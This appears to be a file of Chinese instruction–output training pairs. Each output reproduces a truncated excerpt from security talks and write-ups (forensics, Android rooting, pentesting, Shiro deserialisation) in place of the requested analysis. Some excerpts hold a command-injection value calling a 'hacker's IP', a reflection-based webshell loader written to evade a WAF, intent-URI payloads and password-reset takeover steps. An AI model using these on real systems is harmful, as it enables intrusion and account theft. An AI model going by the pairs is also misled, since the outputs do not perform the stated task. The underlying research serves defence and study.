Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

$ S T A N D A R D _ I N F O R M A T I O N
$ F I L E N A M E
Windows取证分析
海 报
你不能保护你不知道的东西
digital-forensics.sans.org
DFPS_FOR500_v4.9_4-19
Poster Created by Rob Lee with support of the SANS DFIR Faculty
 ©2019 Rob Lee.  All Rights Reserved.
翻译：Leon(liyi05@qianxin.com)
文件重命名
本地文件移动
卷文件移动
（通过命令行）
卷文件移动
（通过文件
管理器复制/粘贴)
文件复制
（只有Win7以后的
NTFS不改变）
文件访问
文件修改
访问时间-文件
创建时间
文件创建
文件删除
Windows 痕迹分析:
...的证据：
UserAssist
描述
Windows系统从桌面启动的GUI程序在启动器中进行跟踪。
位置
NTUSER.DAT HIVE:
NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\
{GUID}\Count
解释
所有的值是 ROT-13编码
•  GUID for XP
-  75048700
活动桌面
•  GUID for Win7/8/10
-  CEBFF5CD
可执行文件执行
-  F4E57C4B
快捷方式文件执行
Windows 10 时间线
描述
Win10在“时间线”中记录最近使用的应用程序和文件，可
以通过“WIN + TAB”键访问。 数据记录在一个SQLite数据
库中。
位置
C:\Users\<profile>\AppData\Local\ConnectedDevices
Platform\L.<profile>\ActivitiesCache.db
解释
•  应用程序执行
• 每个应用程序的焦点数
RecentApps
描述
在Win10系统上启动的GUI程序执行可在“ RecentApps”键中
进行跟踪
位置
Win10:
 NTUSER.DAT\Software\Microsoft\Windows\Current Version\Search
\RecentApps
解释
每个GUID键指向一个最近使用的应用程序。
AppID = 应用程序名称
LastAccessTime = UTC格式的最后执行时间
LaunchCount = 执行过的次数
Shimcache
描述
•  Windows使用Windows应用程序兼容性数据库来确定可执行文
件可能出现的应用程序兼容性挑战。
•  跟踪可执行文件的文件名、文件大小、上次修改时间以及
Windows XP中的上次更新时间
位置
XP:
SYSTEM\CurrentControlSet\Control\SessionManager\AppCompatibility
Win7/8/10:
SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache
解释
在此注册表项中可以找到Windows系统上运行的任何可执行文
件。 您可以使用此键来识别系统执行了特定恶意软件。另外，
基于对时间数据的解释，您也许能够确定系统上执行或活动的
最后时间。
•  Windows XP包含最多96项
-  执行文件时更新LastUpdateTime
•  Windows 7包含最多1,024项
- Win7系统上不存在LastUpdateTime
跳转列表
描述
•  Windows 7任务栏（跳转列表）经过精心设计，可让用户快
速、轻松地“跳转”或访问他们经常或最近使用的项目。此功
能不仅可以包括最近的媒体文件； 它还包括最近的任务。
•  每个存储在AutomaticDestinations文件夹中的数据具有一个
唯一的文件，该文件前面带有关联应用程序的AppID。
位置
Win7/8/10:
C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent
\ AutomaticDestinations
解释
• 应用程序首次运行时间
-  Creation Time = 添加到AppID文件的第一个时间项
•  Last time of execution of application w/file open.
-  Modification Time = 添加到AppID文件的最后一条时间项
•  Jump List ID列表 -...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Android Universal Root
Exploiting xPU Drivers
Xingyu Jin
Richard Neal
Jon Bottarini
#BHUSA  @BlackHatEvents
#BHUSA   @BlackHatEvents
Who are we?
Jon Bottarini
@jon_bottarini
Xingyu Jin
@1ce0ear
Richard Neal
@ExploitDr0id
#BHUSA   @BlackHatEvents
What are we talking about?
●
Rooting exploits on Android
○
In-the-wild
○
Internal research
●
Android Partner Vulnerability Initiative
#BHUSA   @BlackHatEvents
Some old driver vulns
#BHUSA   @BlackHatEvents
mtk-su Exploit
#BHUSA   @BlackHatEvents
XDA Developers
#BHUSA   @BlackHatEvents
XDA Developers
#BHUSA   @BlackHatEvents
6f35a3ff: /dev/ion
4b4ab49b: /dev/mtk_cmdq
6d7a00fc: /proc/mtk_cmdq
Reverse engineering the exploit
#BHUSA   @BlackHatEvents
●
CMDQ_IOCTL_EXEC_COMMAND
○
Send a buffer of opcodes from user -> kernel
○
Opcodes - CMDQ_CODE_ENUM
CVE-2020-0069
#BHUSA   @BlackHatEvents
●
Restrict access via SELinux policy:
●
Can't open device node:
●
SELinux Fix
#BHUSA   @BlackHatEvents
Lessons Learned
#BHUSA   @BlackHatEvents
GPU Driver: Perfect Local Attack Surface
●
It’s impossible to restrict unprivileged users from accessing GPU driver
●
GPU device driver exports a lot of functionality to userspace
●
Mobile GPU
○
ARM: Mali
○
Qualcomm: Adreno
○
Imagination Technologies: PowerVR
Google received a lot of security reports
Only 1 in 2019
#BHUSA   @BlackHatEvents
PowerVR GPU is everywhere
●
PowerVR may have the biggest market share in numbers (MediaTek / UniSoc)
Use PowerVR GPU
#BHUSA   @BlackHatEvents
Intro to Bridge APIs
●
No surprise, unprivileged user can talk to PowerVR GPU driver
●
PowerVR GPU driver exports hundreds of kernel functions to userspace
○
Exported functions are called “Bridge functions” by PowerVR developers
●
Three steps
○
Open device
○
Send ioctl code and arguments
○
Get response
#BHUSA   @BlackHatEvents
Intro to Bridge APIs
●
Bridge APIs
#BHUSA   @BlackHatEvents
Intro to Bridge APIs
●
Overview of how Bridge APIs work
●
Every step is buggy
#BHUSA   @BlackHatEvents
Heap overflow in Bridge APIs
●
Call Bridge...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Scanner Frequencies: Riviera Hotel and Casino Trunking System, Las Vegas, Nevada
http://radioreference.com/modules.php?name=RR&sid=4413
1 of 2
6/18/2007 14:54
  NOT LOGGED IN
Home  ·  Your Account  ·  Forums  ·  Database  ·  Wiki  ·  Submit Info
Search
RR Help Desk
Riviera Hotel and Casino System
US > Nevada > Clark County
System Information Last Updated on 08-15-2006 19:04
System Name: Riviera Hotel and Casino
Location:
Las Vegas, NV
County:
Clark
System Type:
LTR Standard
System Voice:
Analog
Last Updated:
Changed talkgroups
Hits:
502
System Frequencies
Site Description
001 Confirmed LCN
01 N/A
02 N/A
03 N/A 04 N/A
05 N/A 06 N/A 07 N/A
08 462.06250 09 N/A
10 N/A 11 N/A
12 N/A 13 N/A 14 464.88750
15 N/A
16 464.93750 17 N/A 18 464.96250
002 Unconfirmed LCN 01 452.33750
System Talkgroups
        Updated in the last 7 days             Updated in the last 24 hours
 All Talkgroups
DEC
Description
0-08-009 Security
Home
History
Downloads
NV Trunking
Submit
Watch
Admin
South Point Hotel Casino
Las Vegas hotel rooms from $55. World class
spa is open. Book now.
Scanner Frequencies: Riviera Hotel and Casino Trunking System, Las Vegas, Nevada
http://radioreference.com/modules.php?name=RR&sid=4413
2 of 2
6/18/2007 14:54
0-08-010 Supervisors (Security?)
0-08-012 Convention Porter
0-08-013 Chef
0-08-014 Audio/Visual
0-08-025 Slots?
0-08-032 Maintenance
0-08-036 Housekeeping
0-08-037 Bar Department
All information here is Copyright 2006 by RadioReference.com LLC and Lindsay C. Blanton III.
Please see our Privacy Policy and Terms and Conditions.
South Point Hotel Casino
Rooms in Las Vegas from $55.
World class spa is open. Book now.
www.SouthPointCasino.com
Mirage Hotel Las Vegas
Find hotel rooms, dining, shows &
more for the Mirage Hotel Las
Vegas
www.LuxeVegas.com
Hotel Discounts
Premium Hotels and Bargain
Prices. Save up to 70% on
165,000+ Hotels
Hotels.SideStep.com
Police Ringtone
Send this ringtone to your phone
right now!
RingRingMo...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Invisible Finger: Practical Electromagnetic
Interference Attack on Touchscreen-based
Electronic Devices
Haoqi Shan∗§, Boyi Zhang∗§, Zihao Zhan∗, Dean Sullivan†, Shuo Wang∗, Yier Jin∗
∗University of Florida
{haoqi.shan, zby0070, zhan.zihao}@ufl.edu, {shuo.wang, yier.jin}@ece.ufl.edu
†University of New Hampshire
{dean.sullivan}@unh.edu
AbstractÐTouchscreen-based electronic devices such as smart
phones and smart tablets are widely used in our daily life. While
the security of electronic devices have been heavily investigated
recently, the resilience of touchscreens against various attacks has
yet to be thoroughly investigated. In this paper, for the first time,
we show that touchscreen-based electronic devices are vulnerable
to intentional electromagnetic interference (IEMI) attacks in a
systematic way and how to conduct this attack in a practical
way. Our contribution lies in not just demonstrating the attack,
but also analyzing and quantifying the underlying mechanism
allowing the novel IEMI attack on touchscreens in detail. We
show how to calculate both the minimum amount of electric
field and signal frequency required to induce touchscreen ghost
touches. We further analyze our IEMI attack on real touchscreens
with different magnitudes, frequencies, duration, and multitouch
patterns. The mechanism of controlling the touchscreen-enabled
electronic devices with IEMI signals is also elaborated. We
design and evaluate an out-of-sight touchscreen locator and
touch injection feedback mechanism to assist a practical IEMI
attack. Our attack works directly on the touchscreen circuit
regardless of the touchscreen scanning mechanism or operating
system. Our attack can inject short-tap, long-press, and omni-
directional gestures on touchscreens from a distance larger than
the average thickness of common tabletops. Compared with the
state-of-the-art touchscreen attack, ours can accurately inject
different types of touch events without the need for sensing
signal synchronization,...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

编码规范之 phpmailer 的安全隐患
By:奥村燐
1.众所周知,phpMailer 是一个非常强大的 php 发送邮件类,可以设定发送邮件地址、回复
地址、邮件主题、html 网页,上传附件,并且使用起来非常方便。
2.但是如果开发编码不规范，可能会导致安全问题的出现，下面实例讲解在什么场景下会
出现安全隐患。
3.例如 eyoucms 找回密码,点击发送的时候,会调用 Smtpmail 控制器的 send_email 方法
4. 然后又在 send_email 方法中调用了 SmtpmailLogic.php 文件中的 send_email
5.最后在 SmtpmailLogic.php 最后又调用了 send_email
6.然后又在 common.php 中 send_email 方法中实例化了 EmailLogic,调用了其中的
send_email 方法
7.最后又来到了 EmailLogic.php 中 send_email 方法，默认发送邮件会调用 phpmailer 类
8.不规范的写法就在 send_phpmailer 中，例如下面这样，开发为了方便群发，把收件人以
逗号进行分割，最后通过数组，通过 addAddress 方法，添加到收件人了。
9.知道这样，我们可以构造收件人 email=601333824@qq.com,futianyu501@2980.com
10.然后访问地址，会提示邮箱地址不存在
11.原因也很简单，因为找回密码 type 会等于 retrieve_password 去判断邮箱是否存在
12.但是 type=bind_email 的时候邮箱不存在是可以通过验证的,这个验证码也是可以用来
找回密码的，构造链接访问 url 提示发送成功
13.由于是群发，两个邮箱可以收到同一个验证码
14.找回密码测试用 601333824@qq.com 邮箱的验证去找回 futianyu501@2980.com 的验证码
15.最后成功重置验证码
16.这个只是其中一个案例，不安全的编码会产生很可怕的安全隐患


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

0x00 前⾔
有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660
0x01 起因
朋友给某甲⽅做渗透测试，奈何甲⽅是某知名保险，系统太耐⺾，半天不出货
兄弟喊我来⼀块来看，于是有了本⽂
0x02 客户端RCE⼀处
朋友把靶标发给我看了下，除了两个下载链接啥也没有
链接下载下来的东⻄如图，看了下⽬录⾥⾯还有JRE，那么很显然，这客户端exe就是个JAVA启动命令执⾏套壳
随后打开program⽂件夹，逆了⼀下⾥⾯的Jar
full_path前⾯定义为⽤户更新时输⼊的路径
那么很简单了full_path可控，诱导⽤户安装更新时路径出输⼊注⼊命令即可
0x03 发现Webservice Soap接⼝
光这⼀个⽔来的客户端RCE肯定是不够的，接下来继续挖掘服务端
看了看没别的功能点，我就简单FUZZ了⼀下这个系统三级⽬录
最后FUZZ出来了⼀个webservice接⼝
http://.xxxxxx.cn/xxxx/service
D:\software  && ping hacker's IP
拼接出其wsdl接⼝
http://.xxxxxx.cn/xxxx/service/BusinessService?wsdl
但导⼊SoapUI或AWVS的调试模块进⾏调试时却发现其导⼊失败
仔细看了下WSDL返回的信息。。。妈的WSDL Import Location和Soap Address Location都是内⽹域名
不过幸运的是，该系统的外⽹域名拼接路径后也可以访问到这个WSDL接⼝
但是⾃动化的Soap接⼝调试⼯具是“看⻅什么就import什么”，这可让⼈犯了难
0x04导⼊SoapUI
思考了⼀会，突然想起来BurpSuite可以把RequestBody和ResponseBody的值进⾏替换，hhh，那我们就有办法
导⼊了
在Burpsuite的Porxy Option中增加Match&Replace规则
将WSDL Import Location和Soap Address Location处对应的内⽹域名都替换为外⽹域名
随后在SoapUI中设置Proxy
打开代理，再次添加WSDL，ResponseBody的内⽹域名成功被替换，WSDL导⼊成功~
0x05 XXE挖掘
导⼊接⼝后，发现有参数为dataXML，⼼中暗喜XXE估计是送上⻔了
直接BurpSuite中利⽤XXE OOB测试
OOB成功，XXE到⼿，收摊~
0x06 总结
坚持⼀下，守得云开⻅⽉明，漏洞就在眼前~


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

RE:Trace – Applied Reverse
Engineering on OS X
Tiller Beauchamp
SAIC
David Weston
Microsoft
DTRACE BACKGROUND
What Is DTrace™?
*Dtrace was created by Sun Microsystems, Inc. and released under the Common Development and Distribution
License (CDDL), a free software license based on the Mozilla Public License (MPL).
DTrace Background
• Kernel-based dynamic tracing framework
• Created by Sun Microsystems
• First released with Solaris™ 10 operating System
• Now included with Apple OS X Leopard, QNX
• June 10th, 2008, committed to CURRENT branch
of FreeBSD 7, Will be in 8 STABLE (John Birrell)
• OpenBSD, NetBSD, Linux?
*Solaris™ is a trademark of Sun Microsystems, Inc. in the United States and/or other countries.
DTrace Overview
• DTrace is a framework for performance
observability and debugging in real time
• Tracing is made possible by thousands of
“probes” placed “on the fly” throughout the system
• Probes are points of instrumentation in the kernel
• When a program execution passes one of these
points, the probe that enabled it is said to have
fired
• DTrace can bind a set of actions to each probe
DTrace Architecture
Source: Solaris Dynamic Tracing Guide
The D Language
• D is an interpreted, block-structured language
• D syntax is a subset of C
• D programs are compiled into intermediate form
• Intermediate form is validated for safety when
your program is first examined by the DTrace
kernel software
• The DTrace execution environment handles any
runtime errors
The D Language
• D does not use control-flow constructs such as if
statements and loops
• D program clauses are written as single, straight-
line statement lists that trace an optional, fixed
amount of data
• D can conditionally trace data and modify control
flow using logical expressions called predicates
• A predicate is tested at probe firing before
executing any statements
DTrace Performance
• DTrace is dynamic: probes are enabled only
when you need them
• No code is present for inactive pro...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
ClassLoader的理解
前⾔
ClassLoader的特性
最后
补上上次星球⽆奖问答环节的坑。(本来北⾠师傅在星球中没改⻢甲名字，后来才知道下⾯回答的是北⾠师
傅，emmmm尴尬尴尬)
起因是⼩伙伴在hvv的过程中发现WAF会拦截Webshell中defineClass这个函数，因为反射可以把我们需
要调⽤的⽅法放到⼀个字符串的位置，就可以产⽣各种变形，所以就想通过反射来绕过。
于是乎就劈⾥啪啦写了这样⼀段代码：
然后发现第⼀次连接可以，第⼆次再刷新就会⼀直提示类重复加载的错误。
前⾔
1 Method defineClass = Class.forName("java.lang.ClassLoader").getDec
laredMethod("defineClass", String.class, byte[].class, int.class,
 int.class);
2
3 defineClass.setAccessible(true);
4 defineClass.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, b
ytes.length)
2
其实这个问题主要涉及到对JAVA中类加载机制的理解，于是就引申出来另⼀个问题：为什么冰蝎跟蚁剑原
来的shell就不会提示类重复加载的错误呢。在这篇⽂章⾥跟⼤家分享⼀下⾃⼰的理解。
关于类加载机制已经有很多⽂章，在这个问题上主要涉及到其中⼀个知识点：
⼀个类，如果由不同的类加载器实例加载的话，会在⽅法区产⽣两个不同的类，彼此不可⻅，并且在堆中
⽣成不同Class实例。
这⾥我们做⼀个⼩实验，⾸先写⼀个测试的⽬标类，就是简单的弹⼀个计算器。
编译然后获取class⽂件的base64结果，放⼊到下⾯代码中。
需要注意的是，完成之后需要在idea中把上⾯弹计算器的类给删掉，这样才能模拟加载⼀个不存在类的效
果。
ClassLoader的特性
 1 package com;
 2
 3 import java.io.IOException;
 4
 5 public class calc {
 6     public calc() {
 7     }
 8
 9     static {
10         try {
11             Runtime.getRuntime().exec("calc");
12         } catch (IOException e) {
13             e.printStackTrace();
14         }
15
16     }
17 }
 1 package loader;
 2
 3 import java.util.Base64;
 4
 5 public class test1 {
3
运⾏之后发现弹出了计算器，因为此时我们加载这个类的ClassLoader就是defineLoader1。
 6     public static class DefineLoader extends ClassLoader {
 7         public Class load(byte[] bytes) {
 8             return super.defineClass(null, bytes, 0, bytes.lengt
h);
 9         }
10     }
11
12     public static void main(String[] args) {
13         String cls = "yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAo
ABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs
ZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAApMY29tL2NhbGM7AQAIPGNsa
W5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQ
cAHAEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYww
AIwAkAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJQAKAQAIY29tL2NhbGMBABBqYXZh
L2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVK
ClMamF2YS9s...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Remote Metamorphic Engine
Detecting, Evading, Attacking the AI and Reverse Engineering
Amro Abdelgawad / DEFCON 24
line46_1:
    mov ecx, [esp]
    nop
    nop
    mov dl, 0xe9
    test edx, edx
    mov byte [ecx], dl
    xor eax, 0
    mov edx, 0x00000067
    mov dword [ecx+1], edx
    ret
line95:
    pushad
    pushf
    call line95_1
    db 7
    db 3
    dd 838225172
    db 2
    dd 4211932376
    db 4
    dd 2520091426
    db 3
    dd 946381070
    db 2
    dd 3318121790
    db 2
    dd 1375432265
    db 1
    dd -1
    mov ebx, 92
    add eax, ebx
    mov ebx, eax
    sub dword [eax], 0xe82c334d
    add eax, 4
    add dword [eax], 0xa1723594
    add eax, 4
    xor dword [eax], 0xb1c21343
    add eax, 4
    sub dword [eax], 0x111111ee
    add eax, 4
    add dword [eax], 0xaaccee22
    add eax, 4
    jmp ebx
line95_2:
    popf
    popad
    nop
    jmp long line96
line95_1:
    mov eax, [esp]
    nop
    nop
xor eax, eax
xor ecx, ecx
xor edx, edx
    mov cl, 0xe9
    mov byte [eax], cl
    xor edx, 0
    mov ecx, 0x00000057
    mov dword [eax+1], ecx
    ret
The Remote Metamorphic Engine
‣ Security as undefined expression
‣ Flux binary mutation
‣ Resisting Reverse Engineering
‣ Evading AI machine learning
‣ Artificial Immunity
2
line46_1:
    mov ecx, [esp]
    nop
    nop
    mov dl, 0xe9
    test edx, edx
    mov byte [ecx], dl
    xor eax, 0
    mov edx, 0x00000067
    mov dword [ecx+1], edx
    ret
line95:
    pushad
    pushf
    call line95_1
    db 7
    db 3
    dd 838225172
    db 2
    dd 4211932376
    db 4
    dd 2520091426
    db 3
    dd 946381070
    db 2
    dd 3318121790
    db 2
    dd 1375432265
    db 1
    dd -1
    mov ebx, 92
    add eax, ebx
    mov ebx, eax
    sub dword [eax], 0xe82c334d
    add eax, 4
    add dword [eax], 0xa1723594
    add eax, 4
    xor dword [eax], 0xb1c21343
    add eax, 4
    sub dword [eax], 0x111111ee
    add eax, 4
    add dword [eax], 0xaaccee22
    add eax, 4
    jmp ebx
line95_2:
    popf
    popad
 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

细数安卓APP那些远程攻击漏洞
z7sky & 行之 @360VulpeckerTeam
演讲者简介
weibo: @0xr0ot
@z7sky
z7sky & 行之
360VulpeckerTeam成员
研究方向：Android 系统安全和第三方APP 安全
概览
Mobile Pwn2Own 2013
Mobile Pwn2Own 2013上安全研究人员Pinkie Pie 利用chrome的两个0day漏洞，实现了远
程代码执行攻击，通过远程的web页面控制了系统。
随后,2014年日本安全研究人员Takeshi Terada 公布了Pwn2own 大赛exploit中intent协议漏
洞的利用方法。
影响面最大的远程攻击入口
意图协议和第三方协议
协议漏洞
Intent协议漏洞
Chrome v18及更早版本,可以通过为iframe的src属性设置自定义的scheme
实现从Web页面启动一个本地应用。其他android浏览器也支持。Chrome v25及
其之后，稍微有了些变化。取而代之的是通过自定义的scheme或者”intent:”来
实现。
Intent Scheme Url
如果浏览器支持intent scheme url，一般
会分三个步骤处理：
1.使用Intent.parseUri(uri);解析url生成
intent对象。
2.对intent对象进行过滤，不同的浏览器过
滤规则有差异。
3.通过Context#startActivityIfNeeded()或
Context#startActivity()等传递步骤2中经过
过滤后的intent来启动activity。
intent:mydata#Intent;action=com.me.om;S.url=file:///mnt/sdcard/Down
load/xss.html;SEL;component=com.ex.uritest/com.ex.uritest.MainActiv
ity;end
另外可以为其设置备用页面，当intent无法被解析或者外部应用不能被启
动时，用户会被重定向到指定页面。
S.browser_fallback_url=[encoded_full_url]
extra
data
selector  intent
设置了selector  intent 的activity
语法示例
BROWSABLE Category
在继续介绍前先了解两个概念。
1. android.intent.category.BROWSABLE
这个属性配置在AndroidManifest.xml文件中，如果应用组件支持这
个category，表明这个组件通过浏览器打开是安全的，不会对应用自身
产生危害。所以当自己的应用组件比较脆弱或者存在重要业务逻辑时，
一般建议禁止使用这个属性。
Selector Intent
2. Selector Intent
Android API level 15(Android 4.0.3) 引进了Selector intent机制，这个selector
intent可以被绑定到一个main intent上，如果这个main intent拥有selector intent,那么
Android Framework会解析selector intent。
intent://appscan#Intent;S.url=file:///mnt/sdcard/Download/xss.html;SEL;component=com.
ex.uritest/com.ex.uritest.MainActivity;end
SEL表明为com.ex.uritest.MainActivity设置了一个selector intent,那么android
framework会解析这个selector intent，即使com.ex.uritest.MainActivity没有
android.intent.category.BROWSABLE category。
利用SEL特性就可以绕过chrome的一些安全限制。
Intent intent = Intent.parseUri(uri);
intent.addCategory(“android.intent.category.BROWSABLE”);
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);
1.强制限制只有Category为android.intent.category.BROWSABLE的activity组件
才能接收它的intent。
2.禁止显式调用。
Chrome浏览器的绕过...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
The state of web application
security
2012
Robert Rowley
Security Architect
DreamHost
Robert.Rowley@DreamHost.com
1
Break Down
Attack Trends
Attacker Motivation
Auditing Backdoors
2
Trends
3
Collecting data
Web Application Firewall (mod_security)
Running on 1,000,000+ websites
Centralized logging
4
Trend data sets
26 Million records.
Time frame: August 2011 – Present
5
Attacks!
6
Breaking it down
7
Specific attacks against software
CVE-2009-2254
● E107
– Remote code execution
– ?var=[php]exec();
– Released May 2010 (CVE-2010-2099)
● ZenCart
– SQL injection/execution
– Released May 2009 (CVE-2009-2254)
8
E107          ZenCart
9
timthumb
● Allows arbitrary file upload
● Including fully functional php files
● Popular wordpress theme component
●
(not part of wordpress core, or plugins)
● Released August 2011 (CVE-2011-4106)
10
E107     ZenCart
11
timthumb
12
Puberty
Maturity
   Life-cycle of an exploit
13
Theory about this trend...
Attacks are automated.
– Lead time for attack code update.
Successful compromise adds a new node.
– This creates fluctuations in growth.
14
PHP-CGI remote code execution
● Arbitrary code execution
● Source code disclosure
● Denial of service
● Released May 2012 (CVE-2012-1823)
● Our staff was notified
● We rolled out a virtual patch before the 0day was
released.
15
E107     ZenCart    timthumb
16
0-D ay
PHP-CGI
17
PHP-CGI
Puberty
18
Attack Response
Notify the ISP's abuse desk
90 ISPs notified each day
Most are non-responsive to the report.
19
Attack sources
 Home/Business ISP (20%)
 Hosting/Datacenter  (80%)
20
A little about incident response
21
Response breakdown
Immediate mitigation
Put out the fire
Monitor
Review
Long term fixes
Correct business policy
Secure code and/or configurations
Etc...
22
Standard approach
Monitoring
Vulnerability released,
Incident
Assessment,
Incident Response
Evaluation,
Update
23
Better approach
Monit...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Defense
  by
  Numb3r5
Making
  problems
  for
  script
  k1dd13s
and
  scanner
  monkeys
@ChrisJohnRiley
“THE
  WISEST
  MAN,
  IS
  HE
WHO
  KNOWS,
  THAT
  HE
KNOWS
  NOTHING”
SOCRATES:
  APOLOGY,
  21D
TL
  ;DR
Goals
  for
  this
  talk
Describe
  the
defensive
  uses
  of
HTTP
  status
  codes
1)  What
2)  Why
3)  How
4)  Goals
5)  Bringing
  it
  together
6)  Review
#1
]
[
  WHAT ?
HTTP
  STATUS
  CODES
Seems
  like
  such
  a
Small
  detail
…
  small
  detail,
big
  impact
This
  talk
  contains:
  - Numbers
 - Bad Jokes
 - Traces of peanuts
 - Did I mention numbers?
HTTP
  Status
  Codes
§  Majority
  part
  of
  RFC
  2616
  (HTTP/1.1)
§  5
  main
  classes
  of
  response
§  1XX
  informaOonal
§  2XX
  success
§  3XX
  redirecOon
§  4XX
  client
  error
§  5XX
  server
  error
HTTP
  Status
  Codes
§  Proposed
  RFC*
  for
  7XX
  codes
§  Examples:
§  701
  Meh
§  719
  I
  am
  not
  a
  teapot
§  721
  Known
  unknowns
§  722
  Unknown
  unknowns
§  732
  Fucking
  Unic☐de
*
  h]ps://github.com/joho/7XX-‐rfc
BASICS
AKA:
  THE
  BORING
  THEORY
  BIT
#1.1
1XX
  Informaeonal
§  Indicates
  response
  received
§  Processing
  is
  not
  yet
  completed
§  100
  Conenue
§  101
  Switching
  Protocols
§  102
  Processing
  (WebDAV
  RFC
  2518)
2XX
  Success
§  Indicates
  response
  received
§  Processed
  and
  understood
§  200
  OK
§  201
  Created
§  202
  Accepted
§  203
  Non-‐Authoritaeve
  Informaeon
§  204
  No
  Content
2XX
  Success
  (cont.)
§  205
  Reset
  Content
§  206
  Pareal
  Content
§  207
  Mule-‐Status
  (WebDAV
  RFC
  4918)
Codes
  not
  supported
  by
  Apache
§
208
  Already
  Reported
§
226
  IM
  Used
§
250
  Low
  on
  Storage
  Space
3XX
  Redireceon
§  Aceon
  required
  to
  comple...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SCADA安全問題
安全問題
安全問題
安全問題
你不能不知的真相
你不能不知的真相
你不能不知的真相
你不能不知的真相
國家資通安全會報 技術服務中心
洪光鈞 劉作仁 谷威涵 陳培德
101年6月29日
大綱
大綱
大綱
大綱
SCADA簡介
SCADA面臨的安全問題
SCADA軟體安全檢測
漏洞揭露與通報經驗
安全防護與挑戰
1
SCADA簡介
簡介
簡介
簡介
2
SCADA簡介
簡介
簡介
簡介
SCADA-監視控制與資料擷取系統
(Supervisory Control and Data
Acquisition)
−
屬工業控制系統(Industrial Control System
，簡稱ICS)的一部分
−
具有系統監控和資料擷取功能的軟體，都
可以稱之為 SCADA
不同領域應用所需的功能不盡相同，
但都具有以下的基本單元
−
人機界面 (Human Machine Interface, HMI)
−
監控系統與資料擷取
−
遠端遙控單元 (Remote Terminal Unit, RTU)
−
可程式邏輯控制器 (Programmable Logic
Controller, PLC)
−
通訊網路 (Communication infrastructure)
3
SCADA運作方式
運作方式
運作方式
運作方式
SCADA系統(軟體)可透過電
腦 (或 PLC) 及使用者介面對
相關硬體設備進行程序控制
和資料擷取
−
在電廠中，要蒐集各個區域
電廠的電壓、溫度、濕度及
變電所的狀態等資訊
−
透過主控器監視並記錄這些
參數
−
對蒐集的資訊加以分析判
讀，以進行電壓調節
−
或在意外狀況發生時能夠加
以處理
資料來源:http://en.wikipedia.org/wiki/SCADA
4
工業控制與管理系統生產模型
工業控制與管理系統生產模型
工業控制與管理系統生產模型
工業控制與管理系統生產模型
Level 3
Level 3
Level 3
Level 1
Level 1
Level 1
Level 0
Level 0
Level 0
Level 4
Level 4
Level 4
Manufacturing
Operations
Management
Manufacturing
Operations
Management
Plant Control
Plant Control
Physical Equipment
Physical Equipment
Bussiness Planning
Bussiness Planning
Level 2
Level 2
Level 2
Supervisory Control
Supervisory Control
MES, LIMS, WMS,
CMM Systems
MES, LIMS, WMS,
CMM Systems
PLC(Program Logic
Control), DCS(Distributed
Contorl System)
PLC(Program Logic
Control), DCS(Distributed
Contorl System)
I/O, Devices, Sensors
I/O, Devices, Sensors
ERP, APO, Logistics
Systems
ERP, APO, Logistics
Systems
HMI, SCADA, Batch
Systems
HMI, SCADA, Batch
Systems
5
SCADA運用範圍
運用範圍
運用範圍
運用範圍
廣泛運用於關鍵基礎設施，如電力系統、水利
系統、石油、天然氣、交通、化工及汽車業等
6
SCADA面臨的安全問題
面臨的安全問題
面臨的安全問題
面臨的安全問題
7
2007那年一切都是從她開始
那年一切都是從她開始
那年一切都是從她開始
那年一切都是從她開始…
2004~2005 大家談論SCADA安全性，多為紙上
談兵
2006 – “SCADA Security & Terrorism: We’re Not
Crying Wolf” presentation to the Black Hat Federal
2006 Conference by ISS X-Force
直到她的出現…
•2007 – “Hackers Take Down the Most Wired
Country in Europe” for a period of two
weeks. – Wired Magazine
•2007 – “Solar Sunrise” – Three teenagers
penetrate US Air For...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

S-shiro550
前言
环境搭建
1. 参考文章：
Shiro 反序列化记录
Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
2. 远程调试：
tomcat 启动修改，新建 debug.bat 文件，内容如下。
IDEA 配置远程 Tomcat 服务器。
set JPDA_ADDRESS=8000
set JPDA_TRANSPORT=dt_socket
set CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -
Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000
startup
基本流程跟踪
1. 登录功能触发点： org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin
2. 触发时堆栈情况：
3. 踩坑
此处需要配置 RememberMeManager ，不然此处为空无法进入 onSuccessfulLogin 方法，之前一
直尝试不使用 web 进行配置，失败了。。。。
需要勾选 rememberMe 字段，也就是 this.isRememberMe(token) 不为空
加密过程跟踪调试
1. 通过上面的 onSuccessfulLogin 方法之后，如果 isRememberMe 不为空，则进入到
rememberIdentity 方法当中。
2. 进入该函数之后获取一个 principals 属性，该属性实际是登录时传递的用户名 root ，之后再进
入到 rememberIndentity 方法当中。
